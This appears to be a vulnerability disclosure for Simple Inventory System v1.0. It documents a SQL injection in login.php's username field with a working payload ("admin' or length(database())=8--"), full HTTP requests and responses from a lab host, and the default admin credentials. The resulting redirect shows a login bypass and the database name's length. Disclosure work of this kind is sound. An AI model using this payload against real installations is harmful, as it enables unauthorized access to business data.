

main

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bug\_report / vendors / argie / simple-inventory-system / SQLi-1.md



debug601 Create SQLi-1.md

History

1 contributor

42 lines (27 sloc) | 1.48 KB

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# Simple Inventory System v1.0 by argie has SQL injection

The password for the backend login account is: admin/admin

vendors: <https://www.sourcecodester.com/php/4481/simple-inventory-system-using-phpmysql.html>

Vulnerability File: /inventory/login.php

Vulnerability location: /inventory/login.php

[+] Payload: username=admin' or length(database()) =8--  
+&password=admin&submit=Login // Leak place ---> username

Current database name: liveedit,length is 8

```
POST /inventory/login.php HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
```

Referer: http://192.168.1.19/inventory/index.php

Cookie: PHPSESSID=limt35893on9omuk2tgcc85iuj

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 70

username=admin' or length(database()) =8--+&password=admin&submit=Login

When length (database ()) = 7, Content-Length: 4;location: index.php

Raw	Params	Headers	Hex
POST /inventory/login.php HTTP/1.1			
Host: 192.168.1.19			
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0			
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8			
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3			
Accept-Encoding: gzip, deflate			
DNT: 1			
Referer: http://192.168.1.19/inventory/index.php			
Cookie: PHPSESSID=limt35893on9omuk2tgcc85iuj			
Connection: close			
Content-Type: application/x-www-form-urlencoded			
Content-Length: 70			
username=admin' or length(database())			
=7--+&password=admin&submit=Login			

Raw	Headers	Hex
HTTP/1.1 302 Found		
Date: Thu, 19 May 2022 03:21:37 GMT		
Server: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.4.1		
X-Powered-By: PHP/7.4.1		
Expires: Thu, 19 Nov 1981 08:52:00 GMT		
Cache-Control: no-store, no-cache, must-revalidate		
Pragma: no-cache		
location: index.php		
Content-Length: 4		
Connection: close		
Content-Type: text/html; charset=UTF-8		

When length (database ()) = 8, Content-Length: 4;location: tableedit.php

Raw	Params	Headers	Hex
POST /inventory/login.php HTTP/1.1			
Host: 192.168.1.19			
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0			
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8			
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3			
Accept-Encoding: gzip, deflate			
DNT: 1			
Referer: http://192.168.1.19/inventory/index.php			
Cookie: PHPSESSID=limt35893on9omuk2tgcc85iuj			
Connection: close			
Content-Type: application/x-www-form-urlencoded			
Content-Length: 70			
username=admin' or length(database())			
=8--+&password=admin&submit=Login			

Raw	Headers	Hex
HTTP/1.1 302 Found		
Date: Thu, 19 May 2022 03:20:50 GMT		
Server: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.4.1		
X-Powered-By: PHP/7.4.1		
Expires: Thu, 19 Nov 1981 08:52:00 GMT		
Cache-Control: no-store, no-cache, must-revalidate		
Pragma: no-cache		
Set-Cookie: PHPSESSID=99j19mgurc4aimkcnbdgd3g68o; path=/		
location: tableedit.php		
Content-Length: 4		
Connection: close		
Content-Type: text/html; charset=UTF-8		

INI

SQL BASICS\* UNION BASED\* ERROR/DOUBLE QUERY\* TOOLS\* WAF BYPASS\* ENCODING\* HTML\* ENCRYPTION\* OTHER\* XSS\* LFI\*

Load URL

Split URL

Execute

http://192.168.1.19/inventory/tableedit.php|

☐ Post data

☐ Referrer

0xHEX

%URL

BASE64

Insert string to replace

Insert replacing string

☒ Repl

## Inventory System

Inventory

Sales

To be order

Add Item

Add Product

Edit Price

Logout

Click the table rows to enter the quantity sold

Date	Item	Quantity Left	Qty Sold	Price
2022-05-19	qweqwqw	-2221		1
2022-05-19	wewqewe	-2221		1
2022-05-19	argie	-2221		1
2022-05-19	wewew	-2221		1
2022-05-19	asdasd	-5554		1
2022-05-19	asdasd	-2221		1
2022-05-19	1	-2221		1

Total Sales of this day: **Php 0.00**

Print